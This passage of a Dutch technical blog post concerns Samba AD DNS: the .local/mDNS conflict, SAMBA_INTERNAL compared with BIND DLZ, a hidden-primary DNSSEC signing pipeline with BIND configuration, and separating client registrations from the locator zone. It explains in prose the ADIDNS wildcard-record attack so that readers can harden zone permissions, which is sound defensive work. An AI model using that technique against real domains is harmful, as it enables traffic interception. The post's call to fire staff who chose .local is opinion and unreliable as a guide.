volgorde nog niet heeft veranderd. Het bewijs ontbreekt precies waar je het zoekt. Het querylog van de DC laat niets zien, want er kwam niets aan. Mensen zijn dagen op de server bezig, en de query heeft de client nooit verlaten. En het kan niet ondertekend worden, en dat is het punt van deze sectie. Geen ouder, geen DS, geen keten, geen manier om er een te publiceren. Zet dat nu onder een Active Directory-domein. De realm wordt afgeleid van de domeinnaam. De serviceprincipals worden afgeleid van de realm. De _msdcs-locators — de records waar dit hele bericht over gaat — zitten onder een achtervoegsel dat een client volgens de specificatie moet oplossen door op het lokale segment te roepen. Je bouwt Kerberos boven op een naamruimte die de helft van je omgeving oplost met een protocol dat is ontworpen om printers te vinden.\nEn de uitgang is duur, en dat maakt de oorspronkelijke keuze het waard om niet sentimenteel over te doen. Op Samba bestaat geen hernoemen op de plek. Het gedocumenteerde pad is samba-tool domain backup rename gevolgd door een restore: je neemt een hernoemde kopie van de database, zaait daaruit een nieuwe DC, en voegt elke andere DC vanaf nul opnieuw toe, waarbij DC\u0026rsquo;s met de oude en de nieuwe naam niet naast elkaar mogen bestaan. Het is niet rendom van Windows, dat de DC\u0026rsquo;s tenminste één voor één afwerkt. Het is een herbouw met een nettere naam.\nDus de eerlijke samenvatting. .local voor een unicast-domein is geen voorkeur, geen conventie, en geen onschuldig stukje erfenis. Het is een gedocumenteerd conflict met een protocol dat aanstaat op elk besturingssysteem in het gebouw, en de rekening komt jaren later als storingen in het opzoeken die met horten en stoten komen en niet te reproduceren zijn — en, als je de zone eindelijk wilt ondertekenen, als een herbouw van het domein.\nDezelfde fout, met een andere pet op Nu we er toch zijn: poort 5353.\nmDNS luistert op UDP 5353, en dat is geen losse poort die toevallig vrij is. Een gewone unicast-DNS-dienst erop zetten, of resolvers naar :5353 laten wijzen omdat 53 bezet was of root nodig had, doet dezelfde schade van de andere kant — elke machine op dat segment die mDNS kent praat nu met je naamdienst, en je naamdienst zit nu multicast service discovery af te handelen die hij nooit had moeten antwoorden. De naam en de poort zijn twee helften van één naamruimte, en beide zijn al van iemand anders.\n.local op 53, of unicast-DNS op 5353. Hetzelfde misverstand, dezelfde klasse van storingen met horten en stoten, dezelfde weken van iemand anders zijn tijd.\nEn wees eerlijk over wat dat je vertelt Microsoft raadde .local aan in het tijdperk van Small Business Server, en daarom zitten zoveel omgevingen er nog mee, en is er al heel lang mee gestopt. Een .local-domein erven is pech. De meesten die dit lezen en er een hebben, hebben het niet gekozen, en de sectie hierboven is een migratieplan en geen aanklacht.\nEr een uitrollen is een heel andere zaak, en daar ga ik bot over zijn, want dit verzachten heeft nog nooit iemand geholpen.\nWie .local uitrolt voor Active Directory of voor gewone unicast-DNS, of een DNS-dienst op poort 5353 zet, is geen IT-professional. Ze hebben misschien de functietitel. Ze doen het werk niet. RFC 6762 is sinds 2013 gepubliceerd, in twintig minuten te lezen, en de zin die de hele kwestie beslecht staat in sectie 3. De naamdienst van een bedrijf bouwen op een naamruimte die de specificatie voorbehoudt aan link-lokale multicast is geen verdedigbare technische keuze. Het is iemand die gokt in juist dat deel van de stack waar gokken storingen oplevert die niemand kan reproduceren en iedereen op het netwerk schuift.\nZe horen uit je IT-afdeling verwijderd te worden. Niet zijwaarts geschoven, niet DNS onder toezicht laten beheren. Uit de functie verwijderd. De rol bestaat om te weten welk pakket waarheen gaat en op wiens gezag. Wie het document niet heeft gelezen dat de naamruimte regelt die ze voor elke machine in het gebouw hebben gekozen, vervult die rol niet, en ze erin houden betekent dat de volgende keuze van deze omvang op dezelfde manier wordt gemaakt.\nEn elk systeem dat ze hebben aangeraakt hoort doorgelicht. Dit is het deel dat mensen overslaan, en het deel dat het meest uitmaakt. Zo\u0026rsquo;n keuze staat nooit op zichzelf. Wie RFC 6762 niet nakeek voordat het domein een naam kreeg, heeft ook niets anders nagekeken — ga dus kijken naar wat ze verder hebben gebouwd. Verwacht dit te vinden:\nDNS-servers open naar de wereld, forwarders die iedereen antwoorden die vraagt, en nergens ACL\u0026rsquo;s. Dynamische updates wagenwijd open, en zonecontainers met rechten die niemand meer heeft bekeken sinds het domein werd aangemaakt. Certificaten en Kerberos gebouwd op namen die nooit consistent zouden oplossen, met de storingen weggewerkt met hosts-bestanden. Hosts-bestanden. Overal. Hele omgevingen zijn er precies door bijeengehouden, omdat .local nooit goed werkte en iemand een omweg vond in plaats van een oorzaak. Firewallregels en serviceaccounts aangemaakt om de symptomen te laten verdwijnen, nog steeds actief, en nog steeds meer toestaand dan iemand zich nu herinnert. Dat is geen wraakzucht. Dat is waar een signaal over vakbekwaamheid voor is. Vind je één keuze die is gemaakt zonder de specificatie te lezen, dan is het juiste antwoord aannemen dat de rest op dezelfde manier is gemaakt en gaan kijken — want dezelfde persoon heeft je authenticatie, je certificaten en je toegangsbeheer ingericht, en je hebt nu direct bewijs van hoe ze een probleem aanpakken dat ze niet helemaal begrijpen.\nDeze rommel erven kost je een migratie. De persoon in dienst houden die hem nog steeds maakt, kost je aanzienlijk meer.\nDe twee DNS-backends van Samba Een Samba-AD-domeincontroller bewaart zijn DNS-data in de directory zelf, en er zijn twee manieren om die aan te bieden.\nSAMBA_INTERNAL is Samba\u0026rsquo;s eigen DNS-server, ingebouwd in de AD-DC. Hij handelt de AD-zones en de dynamische updates met Kerberos-authenticatie af, en geeft al het andere aan een forwarder. Samba beschrijft hem als ondersteuning voor “the basic feature required in an AD” en raadt hem aan “for simple DNS setups”, wat eerlijk is en het waard is letterlijk te nemen. Hij krijgt hieronder zijn eigen sectie, want wat hij niet doet is langer en interessanter dan wat hij doet.\nBIND9_DLZ draait BIND als DNS-server, met Samba\u0026rsquo;s module dlz_bind9 erin geladen. DLZ — Dynamically Loadable Zones — is een interface van BIND om een zone door iets anders dan een zonebestand te laten dekken. De module antwoordt de queries van BIND rechtstreeks uit sam.ldb, dus er is geen kopie, geen exportstap, en geen synchronisatie die verkeerd kan gaan: BIND leest de directory terwijl hij aanbiedt.\nDe interne DNS-server doet geen recursie — dat kan hij niet Begin met het ding dat vrijwel altijd verkeerd wordt beschreven, ook door mensen die het draaien.\n“De DC is onze DNS-server, hij doet de recursie voor de clients” is niet wat er gebeurt, want de interne DNS-server kan helemaal geen recursie doen. Samba\u0026rsquo;s eigen functielijst zegt het onomwonden. De interne DNS ondersteunt niet:\noptreden als cachende resolver recursieve queries (maar hij kan doorsturen naar een andere recursieve DNS-naamserver) transactiesignaturen met gedeelde sleutel (TSIG) stubzones zonetransfers lastverdeling met round robin over DC\u0026rsquo;s met scavenging en conditionele forwarders ook als niet-geïmplementeerd vermeld.\nLees die eerste twee samen, want dat is het hele verhaal. Hij kan niet opzoeken, en hij kan niet cachen. Wat dns forwarder je werkelijk levert is een doorgeefluik: een client vraagt de DC om windowsupdate.com, de DC vraagt een echte resolver, het antwoord komt via de DC terug, en dan vergeet de DC het volledig. De volgende client stelt dezelfde vraag en het hele ding gebeurt opnieuw.\nKijk terug naar de tabel eerder in dit bericht en zie wat dat is: een forwarder zonder de cache van een forwarder. Het heeft de kosten van de rol — een extra hop, een afhankelijkheid, iets dat eruit kan liggen — en geen van de baten.\nEen DC met SAMBA_INTERNAL die de omgeving bedient is dus geen DNS-server in de betekenis die mensen bedoelen. Het is een proxy zonder cache voor een echte resolver, en je hebt hem op de machine gezet die je directory bevat.\nWaarom dat een risico is en niet alleen inefficiënt De inefficiëntie is makkelijk te zien: elke externe lookup in het gebouw wordt een rondje via de AD-DC, permanent, zonder cache om de scherpte eraf te halen. Op een stil domein merkt niemand het. En precies daarom blijft het bestaan.\nHet veiligheidsargument is degene die het waard is te maken, en het heeft drie delen.\nDe listener zit in het verkeerde proces. De interne DNS is een servicetaak van de AD-DC zelf, draaiend met de rechten van de directory — niet een aparte daemon onder een eigen account zoals named. Het ding dat onbekrachtigde UDP ontleedt van alles dat poort 53 kan bereiken, draait dus binnen het proces dat LDAP en Kerberos aanbiedt en sam.ldb bezit. BIND heeft dertig jaar vijandige aandacht achter zich, een eigen gebruiker, en de gewoonte in een kooi te draaien, juist omdat een DNS-listener een ruwe buurt is. Samba\u0026rsquo;s interne server is een gemaksvoorziening die nu eenmaal in de kroonjuwelen woont.\nClients bedienen betekent bereikbaar zijn voor clients. Om de DNS-server van de omgeving te zijn, moet hij queries aannemen van elk werkstation, elke printer, elke laptop van een externe op het gast-VLAN dat iemand per ongeluk heeft doorgelust. Dat is een groot, permanent open, onbekrachtigd aanvalsoppervlak op de waardevolste host die je hebt, en je draait het om de kosten van een resolver te sparen die een Raspberry Pi zou kunnen huisvesten.\nEn een forwarder die open staat naar de wereld is het wapen van iemand anders. Een DC die doorstuurt voor alles dat vraagt, is een open forwarder. Zodra hij van buiten je netwerk bereikbaar is, wordt hij deelnemer aan reflectie en versterking, en dan komen het verkeer én de klachtmeldingen bij je domeincontroller aan. Er is geen ratelimiet om naar te grijpen, want de interne server heeft er geen.\nNiets daarvan heeft een kwetsbaarheid in Samba nodig om een slecht idee te zijn. Het is een slecht idee op vorm alleen: het zet een onbekrachtigde, per-ongeluk-aan-internet-hangende, ontleedzware dienst in hetzelfde proces als je directory, om een taak te doen waarvan gedocumenteerd is dat hij die niet goed kan.\nHij valt eerder om, en neemt meer mee Het is de moeite duidelijk te zijn over wat dit argument niet is. Het is niet de bewering dat Samba\u0026rsquo;s DNS-code meer fouten heeft dan die van BIND. BIND heeft een lange CVE-lijst, vooral omdat het de meest onderzochte DNS-implementatie is die er bestaat, en adviezen tellen zou een slechte manier zijn om ertussen te kiezen.\nDe vergelijking die uitmaakt is structureel, en komt neer op drie vragen met drie ongemakkelijke antwoorden.\nWie kan hem een misvormd pakket sturen? Met SAMBA_INTERNAL die de omgeving bedient: elk werkstation, elke telefoon op de wifi, alles dat naar poort 53 op die bak kan routeren. Met het ontwerp in dit bericht: de ondertekenaar. Één host, één TSIG-sleutel, allow-query daartoe beperkt. Dat is geen klein verschil in gradatie. Het is het verschil tussen een blootgestelde dienst en een die in de praktijk onbereikbaar is, en het overschaduwt elk verschil in codekwaliteit tussen de twee implementaties.\nWat valt er om als hij omvalt? Dit is degene die de ernst bepaalt. named is een aparte daemon onder een eigen account; gaat hij dood, dan stopt DNS en gaat de domeincontroller door met authenticeren. Samba\u0026rsquo;s interne DNS is een servicetaak binnen de AD-DC, dus alles dat hem vastzet, uitput of laat crashen gebeurt binnen het proces dat LDAP en Kerberos aanbiedt. Een DNS-probleem wordt een storing van de directory. En systemctl restart named kost een seconde, terwijl een DC herstarten een ander soort ochtend is.\nWat kun je eraan doen terwijl het gebeurt? BIND heeft ratelimieten op antwoorden, allow-query, allow-recursion, blackhole, beleid per view, en de mogelijkheid om clients helemaal niet te antwoorden. De interne server heeft dns forwarder en een logbestand. Begint er iets op te rammen, dan is er geen knop om aan te draaien.\nTel daar de ontbrekende cache bij op. Elke clientquery is een vers rondje naar buiten, dus een vloedgolf queries kost de DC een lookup stroomopwaarts per pakket in plaats van een cachetreffer — en het kost hem dat in hetzelfde proces dat Kerberos-tickets probeert uit te geven. Daarvoor heb je geen exploit nodig; je hebt een drukke ochtend nodig, een applicatie die zich misdraagt, of iemand die een scanner op het verkeerde VLAN richt. Houdt het aan, dan komt het naar boven als authenticatie die langzaam is en niemand die aan DNS denkt.\nDus ja — zelfs met DLZ in beeld is BIND de veiligere plek hiervoor. De DLZ-module geeft named inderdaad toegang tot Samba\u0026rsquo;s data, en dat is een echte overweging waar dit bericht al een punt van heeft gemaakt. Maar een crash van named is een DNS-storing en geen storing van de directory, en in dit ontwerp neemt die named überhaupt geen queries van de omgeving aan. Fouten zijn een feit van elke codebase. Straal van de explosie en bereikbaarheid zijn dingen die je kiest.\nEn hij kan het ontwerp in dit bericht niet bouwen Er is een eenvoudiger, meer definitieve reden dat hij hier niet de backend is.\nGeen zonetransfers. De pijplijn in de volgende sectie — verborgen primaire server, ondertekenaar, losstaande autoritatieve servers — begint met een AXFR uit de DC. SAMBA_INTERNAL heeft niets om mee te transferen. Ook geen TSIG, dus zelfs de authenticatie die zo\u0026rsquo;n transfer nodig zou hebben ontbreekt. En geen ondertekenen, en geen validatie van wat het ook doorstuurt.\nDus de eerlijke samenvatting van SAMBA_INTERNAL: het is de backend waarmee je op een zondagmiddag een AD-domein in een lab kunt neerzetten zonder BIND in te richten, en daar is hij heel goed in. Samba zegt “simple DNS setups” en meent dat. Het is geen resolver, het is nooit gebouwd om de DNS-dienst voor een omgeving te zijn, en op het moment dat je ondertekenen, transfers, views, ACL\u0026rsquo;s, caching of ratelimieten wilt, is het antwoord niet om hem bij te stellen. Die knoppen heeft hij niet. Het antwoord is BIND.\nDraai je hem vandaag met elke client naar de DC gericht, dan is de oplossing niet urgent maar ook niet optioneel: geef de clients een echte validerende resolver, en zet dns forwarder op de DC naar die resolver, zodat de DC voor zijn eigen zones antwoordt en verder niets.\nEn dit is het deel waar ik duidelijk over wil zijn, want “gebruik geen DLZ” wordt herhaald alsof het een hardeningsregel is: DLZ is niet de blootstelling. Het is het onttrekkingsmechanisme. Wat uitmaakt is niet welke module in BIND is geladen — het is wie met die BIND mag praten, en wat er daarna met de zone gebeurt. Een BIND met DLZ erachter die alleen een transferverzoek van je ondertekenaar antwoordt, is in geen enkele interessante zin een aanvalsoppervlak. Een SAMBA_INTERNAL-DC die elke naamlookup van vierhonderd laptops afhandelt, is dat zeer zeker. Slechts een van die twee komt op hardeningslijsten voor, en het is niet degene die uitmaakt.\nTwee dingen over DLZ zijn waar en het waard om rond te plannen in plaats van te vrezen:\nDe module hangt aan de versie van BIND. Samba levert een aparte .so per BIND-versie, en named.conf noemt er specifiek één. Een grote BIND-upgrade betekent dat de bijpassende module er moet staan, of named start niet. Het is een pakketafhankelijkheid om vooraf te testen, geen veiligheidseigenschap. named heeft toegang nodig tot Samba\u0026rsquo;s data, en daarom houdt Samba een aparte map voor de stukken die BIND nodig heeft in plaats van hem de hele private map te geven. Die toekenning is bedoeld smal te zijn — het is de moeite na te kijken of dat op jouw DC\u0026rsquo;s nog zo is, want het is de ene plek waar DLZ wel verbreedt wat een compromittering van named zou bereiken. De reden dat DLZ hier de juiste keuze is, is wat het mogelijk maakt: de DLZ-interface van BIND ondersteunt het opsommen van een hele zone, en dat is wat een zonetransfer uit een zone met DLZ erachter überhaupt mogelijk maakt. Die transfer is de eerste hop van de pijplijn, en het is BIND die hem doet, wat betekent dat de rest van de pijplijn gewone BIND-configuratie is in plaats van iets exotisch.\nEr is één beperking die alles stroomafwaarts vormgeeft, en het is de moeite dat onomwonden te zeggen, want het is makkelijk het tegendeel aan te nemen. Een DLZ-zone kan zelf niet ondertekend worden. ISC is daar duidelijk over in de BIND ARM: DLZ “is unable to handle DNSSEC-signed data due to its limited API”. Je kunt geen dnssec-policy aan de dlz-verklaring hangen en klaar zijn.\nWat je wel kunt doen — en wat ISC in dezelfde adem voor DLZ voorstelt — is hem als verborgen primaire server draaien, met het ondertekenen gedaan door een gewone BIND-zone die de data binnenhaalt. Dat is de volgende sectie, en de beperking is de reden dat die de vorm heeft die hij heeft.\nHet is de moeite te weten dat dit een beperking van Samba is en geen wet van Active Directory. De DNS-server van Microsoft doet sinds Windows Server 2012 online ondertekenen van dynamische, AD-geïntegreerde zones. De zone wordt op de plek ondertekend, de private sleutels repliceren via AD-replicatie zelf naar de Key Masters, en dynamische updates blijven werken. Op Windows is “sign the AD partitions” een echte optie en zit het antwoord op de bezwaren over veranderlijkheid ingebouwd. (Op Server 2008 R2 was dat niet zo: je kon een AD-geïntegreerde zone ondertekenen, maar niet een die dynamische updates aannam, en elke wijziging betekende met de hand opnieuw ondertekenen — en daar komt de folklore vandaan dat AD-zones niet te ondertekenen zijn.)\nSamba heeft geen equivalent. Geen van beide backends ondertekent: de interne server heeft helemaal geen DNSSEC, en DLZ kan geen ondertekende data dragen. Op Samba is de pijplijn van transferen-en-ondertekenen dus niet één ontwerp uit meerdere. Het is de manier.\nDe publicatiepijplijn Nu de vorm ervan. Vier rollen, en de DC staat achteraan waar niets bij hem kan.\nEen Active Directory-zone publiceren vanaf een domeincontroller als verborgen primaire server Domeincontroller \u0026#8212; verborgen primair BIND met dlz_bind9, autoritatief uit de directory recursie uit \u0026#183; alleen naar de ondertekenaar, met TSIG De host met de directory neemt geen vragen aan. De machine met de hoogste waarde in de omgeving is niet bereikbaar voor de machines die van hem afhangen. AXFR op de SOA-verversing een poll \u0026#8212; DLZ kan geen notify sturen Ondertekenaar \u0026#8212; een gewone secundaire haalt de zone binnen en biedt hem ondertekend aan een tweede named op de DC, of een eigen host De DLZ-zone kan zelf niet ondertekend worden. Ondertekenen is dus een gewone secundaire met de kopie \u0026#8212; en met clients uit de zone is er geen veranderlijkheid. transfer naar buiten de ondertekende zone Autoritatieve servers gewone secundaire servers van de ondertekende zone geen sleutels, geen route naar de directory Een compromittering levert een kopie op, geen vervalsing. Zonder sleutel op de servers naar de omgeving kan er geen nieuw record worden gemaakt dat valideert. queries geantwoord met signaturen Validerende resolvers waar de resolv.conf van clients naar wijst interne zones doorgestuurd, publieke boom afgelopen Validatie gebeurt naast de client. De keten loopt naar het vertrouwensanker van de root, want de interne zone is een delegatie in een publieke. geen DNS naar clients op de DC Publiceren loopt één kant op, van de directory naar buiten. Niets wat een client verstuurt komt ooit bovenaan aan. De DC is een verborgen primaire server: hij biedt de AD-zone via transfer aan en antwoordt verder niets. De ondertekenende instantie is een gewone secundaire zone met de getransfereerde kopie — de DLZ-zone zelf kan niet ondertekend worden, dus ondertekenen gebeurt altijd één hop verderop, of die hop nu een tweede named op de DC is of een aparte host. De losstaande autoritatieve servers zijn het enige dat clients ooit zien, en zij zijn secundair op de ondertekende zone. 1. De domeincontroller — verborgen primaire server. BIND met dlz_bind9, autoritatief voor de AD-zones uit de directory. Recursie uit. Geen dienst naar clients. allow-transfer beperkt tot alleen de ondertekenaar, met TSIG. Van het netwerk bekeken biedt de DC helemaal geen DNS aan, en het enige dat hem ooit iets vraagt is de bak ernaast.\n2. De ondertekenende instantie — een gewone BIND-zone die de data binnenhaalt. Hier wonen inline-signing en de dnssec-policy, op een zone met dezelfde naam die de getransfereerde kopie bevat. BIND houdt de onondertekende kopie die hij ontving en de ondertekende kopie die hij publiceert als aparte dingen, en ondertekent opnieuw zodra er nieuwe transfers aankomen. Omdat het een transfer is en geen gedeeld bestand, kan deze instantie op de DC zelf staan — een tweede named op zijn eigen adres — of op een aparte host, en de configuratie is in beide gevallen nagenoeg gelijk.\nDe afweging is precies wat hij lijkt: op de DC is één machine minder om te draaien, terwijl een aparte host de private sleutels weg houdt van de bak met de directory. Beide zijn verdedigbaar, en de keuze verandert niets anders in de pijplijn. Wat uitmaakt is dat ondertekenen één keer gebeurt, op een vastgelegd punt, onder een sleutelbeleid — het verschil tussen DNSSEC dat je beheert en DNSSEC dat om drie uur \u0026rsquo;s nachts verloopt.\n3. De autoritatieve servers — het enige dat clients zien. Gewone secundaire servers van de ondertekende zone. Ze bevatten geen sleutels, ondertekenen niets, en hebben geen pad naar de directory. Wordt er een gecompromitteerd, dan heeft de aanvaller een kopie van een zone en geen enkele mogelijkheid een nieuw record te verzinnen dat valideert.\n4. De resolvers. Validerende recursieve resolvers voor de omgeving, die de interne zones conditioneel doorsturen naar die autoritatieve servers en voor al het andere de publieke boom aflopen. Dit is waar de resolv.conf van clients naar wijst.\nUit deze opstelling vallen twee eigenschappen die het waard zijn apart te noemen, want ze zijn het hele punt:\nDe machine met de directory is niet bereikbaar voor de machines die hem gebruiken. Een domeincontroller is de host met de hoogste waarde in de omgeving. Hem een netwerkdienst naar clients geven — een die onbekrachtigde UDP van elk werkstation antwoordt — is een slechte ruil voor een dienst die andere machines kunnen doen. Ondertekenen gebeurt één keer, op een vastgelegd punt. Het gebruikelijke bezwaar tegen een AD-zone ondertekenen is de veranderlijkheid — dat de inhoud te vaak wijzigt om signaturen bij te laten blijven. Dat bezwaar is eigenlijk een bezwaar tegen de standaardindeling, niet tegen ondertekenen. Met de registratie van clients eruit gehaald, zoals de volgende sectie betoogt dat moet, wijzigt de AD-zone als een domeincontroller wordt gepromoveerd of gedegradeerd en ruwweg nooit anders. Een zone die alleen door DC\u0026rsquo;s wordt geschreven is een stabiele zone, en een stabiele zone is een onopvallend iets om te ondertekenen. Clients eruit houden is niet alleen een veiligheidsmaatregel; het is wat de zone stil genoeg maakt om netjes te ondertekenen. Hoe het ondertekenen echt is aangesloten De vorm hierboven is het belangrijke deel, maar “een gewone BIND-zone die de data binnenhaalt” verdient het getoond te worden in plaats van beschreven, want de eerste poging hiertoe loopt meestal vast op het proberen de DLZ direct te ondertekenen.\nOp de DC blijft de DLZ-kant met opzet saai. Hij biedt de directory aan, hij geeft de zone aan precies één tegenpartij, en verder doet hij niets:\nkey \u0026#34;transfer-to-signer\u0026#34; { algorithm hmac-sha256; secret \u0026#34;...\u0026#34;; }; options { recursion no; allow-query { key transfer-to-signer; localhost; }; allow-transfer { key transfer-to-signer; }; notify no; }; dlz \u0026#34;AD DNS Zone\u0026#34; { database \u0026#34;dlopen /usr/lib64/samba/bind9/dlz_bind9_18.so\u0026#34;; }; Merk op dat de .so de grote BIND-versie in zijn naam draagt. Dat is de versiekoppeling uit de vorige sectie, concreet gemaakt — een BIND-upgrade heeft de bijpassende Samba-module nodig voordat named wil starten.\nAan de ondertekenende kant is de zone een gewone secundaire met de ondertekenopties eraan. Dit is het deel dat niet op de DLZ kan wonen:\ndnssec-policy \u0026#34;ad-internal\u0026#34; { keys { ksk lifetime P365D algorithm ecdsa256; zsk lifetime P90D algorithm ecdsa256; }; }; zone \u0026#34;ad.example.com\u0026#34; { type secondary; primaries { 192.0.2.10 key transfer-to-signer; }; file \u0026#34;ad.example.com.axfr\u0026#34;; inline-signing yes; dnssec-policy \u0026#34;ad-internal\u0026#34;; allow-transfer { key transfer-to-public; }; also-notify { 192.0.2.20; 192.0.2.21; }; }; Dat dit op een secundaire server werkt is het dragende detail, en de ARM zegt het rechtstreeks:\nIf yes, BIND 9 maintains a separate signed version of the zone. An unsigned zone is transferred in or loaded from disk and the signed version of the zone is served with, possibly, a different serial number.\nBIND houdt dus twee kopieën — de onondertekende die hij ontving, geschreven naar file, en de ondertekende die hij aanbiedt, ernaast geschreven met de extensie .signed. Er komt een transfer aan, de ondertekende versie wordt opnieuw opgebouwd, en de servers stroomafwaarts krijgen een notify, want op dit punt is het een volstrekt gewone zone. inline-signing yes is trouwens de standaard zodra er een dnssec-policy aan hangt; het staat hierboven uitgeschreven omdat een configuratie die zegt wat hij doet die regel waard is.\nSleutelrotatie komt met het beleid en niet met een cronjob. ZSK-rotaties hebben helemaal geen input nodig; KSK-rotaties hebben nodig dat de nieuwe DS bij de ouder aankomt, en dat is de CDS/CDNSKEY-automatisering van later in dit bericht. rndc dnssec -status ad.example.com vertelt je waar elke sleutel in zijn levensduur staat.\nOf dat blok op de DC of op een eigen host draait, is een kwestie van naar welk adres primaries wijst. Op de DC is het een tweede named-instantie op een tweede adres, die van de eerste transfereert over de loopback of een beheerinterface. Dat is wat “BIND met DLZ kan de ondertekenaar zijn” in de praktijk betekent: dezelfde software, desgewenst dezelfde bak, maar het ondertekenen gebeurt op de getransfereerde kopie in plaats van op de DLZ-zone.\nDe ene bedrijfsmatige haak is notify — en die zit aan de DLZ-kant. De handleiding van ISC is er bot over: DLZ “has no built-in support for DNS notify”, dus secundaire servers worden niet automatisch op de hoogte gebracht van wijzigingen aan de zones in de database. Samba kan een record in de directory wijzigen en de DLZ-instantie heeft geen idee dat hij het iemand moet vertellen.\nDe eerste hop is dus een poll, geen push. De ondertekenaar verst op de SOA-timer van de zone die hij transfereert, en dat betekent:\nDe doorlooptijd van een wijziging op de DC naar een ondertekend, gepubliceerd record wordt begrensd door dat verversingsinterval, niet door seconden. Promoveer een DC en zijn nieuwe _msdcs-records verschijnen stroomafwaarts tot één verversing later. Dat interval is de knop om aan te draaien als de vertraging uitmaakt. Het is een afweging tegen hoe vaak je de DLZ ondervraagd wil hebben, en dat brengt het andere ding dat ISC over DLZ zegt naar boven: hij doet database-lookups in real time zonder caching en is “not recommended for use on high-volume servers”. Die twee zijn allebei argumenten voor deze topologie en niet ertegen. De enige client die de DLZ-instantie ooit heeft is de ondertekenaar, die één keer per verversing vraagt. De werkelijke querylast van de omgeving landt op de losstaande autoritatieve servers, die op volle snelheid een gewoon ondertekend zonebestand aanbieden. Alles stroomafwaarts van de ondertekenaar is conventioneel: de autoritatieve servers zijn secundair op de ondertekende zone, ze krijgen een echte notify, en ze raken de directory of een sleutel nooit aan.\nClients mogen de zone met de locators niet schrijven Dit is de belangrijke, en het is een ontwerpregel en geen instelling.\nActive Directory registreert records dynamisch. Een machine treedt toe en registreert zichzelf; een DC start en registreert de SRV-records die zijn diensten aankondigen. “Secure” dynamische update betekent dat die updates bekrachtigd zijn — de machine bewijst met zijn eigen inloggegevens dat hij is wie hij zegt, en er is een ACL per record zodat een machine over het algemeen alleen een record kan wijzigen dat hij zelf heeft aangemaakt.\nLees dat zorgvuldig, want de garantie is smaller dan hij eerst lijkt. Beveiligde dynamische update bekrachtigt wie er schrijft. Het beoordeelt niet wat het record betekent. En de set accounts die mag schrijven is veel breder dan mensen aannemen: in een standaard AD-geïntegreerde zone heeft de groep Authenticated Users Create All Child Objects op de zonecontainer in de directory, omdat ADIDNS elk record als een AD-object onder CN=MicrosoftDNS,DC=DomainDnsZones bewaart. Niet alleen machineaccounts — elk bekrachtigd account in het domein, inclusief dat van degene die vanmorgen de factuurbijlage heeft opengeklikt.\nDat levert twee faalvormen op in een zone met zowel clientrecords als dienstlocators:\nNamen die nog niet bestaan zijn van niemand. ACL\u0026rsquo;s per record beschermen een record dat al een eigenaar heeft. Een naam die nooit is geregistreerd heeft geen object om een ACL op te handhaven, dus het eerste account dat hem aanmaakt krijgt hem. Dat is het mechanisme achter de hele familie ADIDNS-aanvallen, waarvan de scherpste een wildcard is: maak * aan en elke naam in de zone die niemand uitdrukkelijk heeft opgeëist — typefouten, uitgefaseerde hosts, wpad — komt bij de aanvaller uit. Bestaande records blijven onaangeroerd, en precies daarom valt het niet op.\nDe straal van de explosie omvat de locators. De records onder _msdcs zijn hoe elke client in het domein een domeincontroller en een KDC vindt. Het zijn de meest veiligheidskritische records die je hebt, en in een standaarduitrol zitten ze in dezelfde zone waar vierhonderd laptops naar schrijven zodra ze een DHCP-lease krijgen.\nWie welke zone mag schrijven: één gecombineerde zone tegenover een splitsing naar schrijver Standaard \u0026#8212; één zone ad.example.com locators en clientrecords bij elkaar _ldap._tcp.dc._msdcs. SRV _kerberos._udp SRV dc01 A laptop-042 A * A \u0026#8592; niet opgeëist een niet-geregistreerde naam heeft geen ACL om te handhaven elke toegetreden machine mag het allemaal schrijven Eén gecompromitteerd machineaccount kan de records herschrijven die een domeincontroller aanwijzen. Gesplitst naar wie schrijft ad.example.com \u0026#8212; alleen DC's geen client heeft een updatepad in deze zone _ldap._tcp.dc._msdcs. SRV _kerberos._udp SRV dc01 A NS-delegatie dyn.ad.example.com of een aparte Samba-zone met een eigen ACL laptop-042 A elke toegetreden machine mag schrijven geen pad naar locators Wie wat mag schrijven. Links één zone, en elke machine in het domein is een bevoegde schrijver in de zone met de DC-locators. Rechts wordt de AD-zone alleen door DC\u0026rsquo;s geschreven, en landen clientregistraties in een aparte subzone waar het ergste wat een gecompromitteerde machine kan doen, liegen over zichzelf is. Dus de regel: de zone met de locators wordt geschreven door domeincontrollers, en door niets anders. Dynamische registratie van clients gaat ergens anders naartoe.\nErgens anders kan twee dingen zijn, en beide zijn goed:\nEen gedelegeerde subzone die elders wordt aangeboden. De AD-zone bevat een NS-delegatie voor, zeg, dyn.ad.example.com, en de records landen op een aparte server die de updates aanneemt. De partities van Samba nemen dan überhaupt geen schrijfactie van een client aan. Een aparte zone in Samba met zijn eigen update-ACL. Nog steeds in de directory, maar een eigen zone, dus een schrijfactie van een client heeft geen pad naar _msdcs of naar de records van een DC zelf. De eerste geeft de hardere scheiding; de tweede is minder om te draaien. Wat niet aan de regel voldoet is geen van die twee. Het is de standaard, waar de twee samenwonen. En zo lopen de meeste domeinen nog, omdat niemand het heeft gekozen en niemand er nog eens naar heeft gekeken.\nEn er is een tweede opbrengst, degene die dit terugbindt aan de pijplijn. Een zone die alleen domeincontrollers schrijven is een zone die bijna nooit wijzigt: een DC-promotie, een DC-degradatie, en verder stilte. Alle veranderlijkheid in een standaard AD-zone is clientregistratie. Haal die eruit en het bezwaar tegen het ondertekenen van de AD-partities gaat mee — er is geen stroom updates waar de signaturen achteraan moeten, dus ondertekenen is routine in plaats van een gevecht. De schrijfdiscipline en het ondertekenen zijn dezelfde keuze, twee keer bekeken.\nNaast een van die twee is er een recht om naar te gaan kijken — en op een Microsoft-DC is het de directe oplossing. Omdat ADIDNS-records objecten in de directory zijn, komt het recht van een AD-ACL en niet van iets in het DNS-protocol: Authenticated Users met Create All Child Objects op de zonecontainer. Dat aanhalen is de schoonste maatregel tegen het probleem van niet-opgeëiste namen en wildcards, en in veel omgevingen kan het recht helemaal weg zodra je weet wat zich echt moet registreren. Samba\u0026rsquo;s AD-DNS bewaart zijn records op dezelfde manier in de directory, dus dezelfde vraag geldt — ga kijken wat jouw zonecontainer werkelijk toestaat.\nMaar wacht even — zouden clients zich in 2026 nog wel moeten registreren? Alles hierboven gaat ervan uit dat dynamische update door clients iets is dat je nodig hebt en veilig probeert te maken. Voordat je dat aanneemt, is het de moeite de vraag te stellen die niemand stelt, want het antwoord is veranderd sinds dit gedrag werd ontworpen.\nDynamische DNS-registratie is gebouwd voor een desktop. Een bak onder een bureau, één netwerkkabel, één adres dat hij jaren hield. In die wereld was een machine die zijn eigen naam registreerde netjes en in wezen waar.\nKijk nu naar wat een client in 2026 is. Hij wordt wakker op de wifi thuis. Hij komt naar kantoor en gaat op het 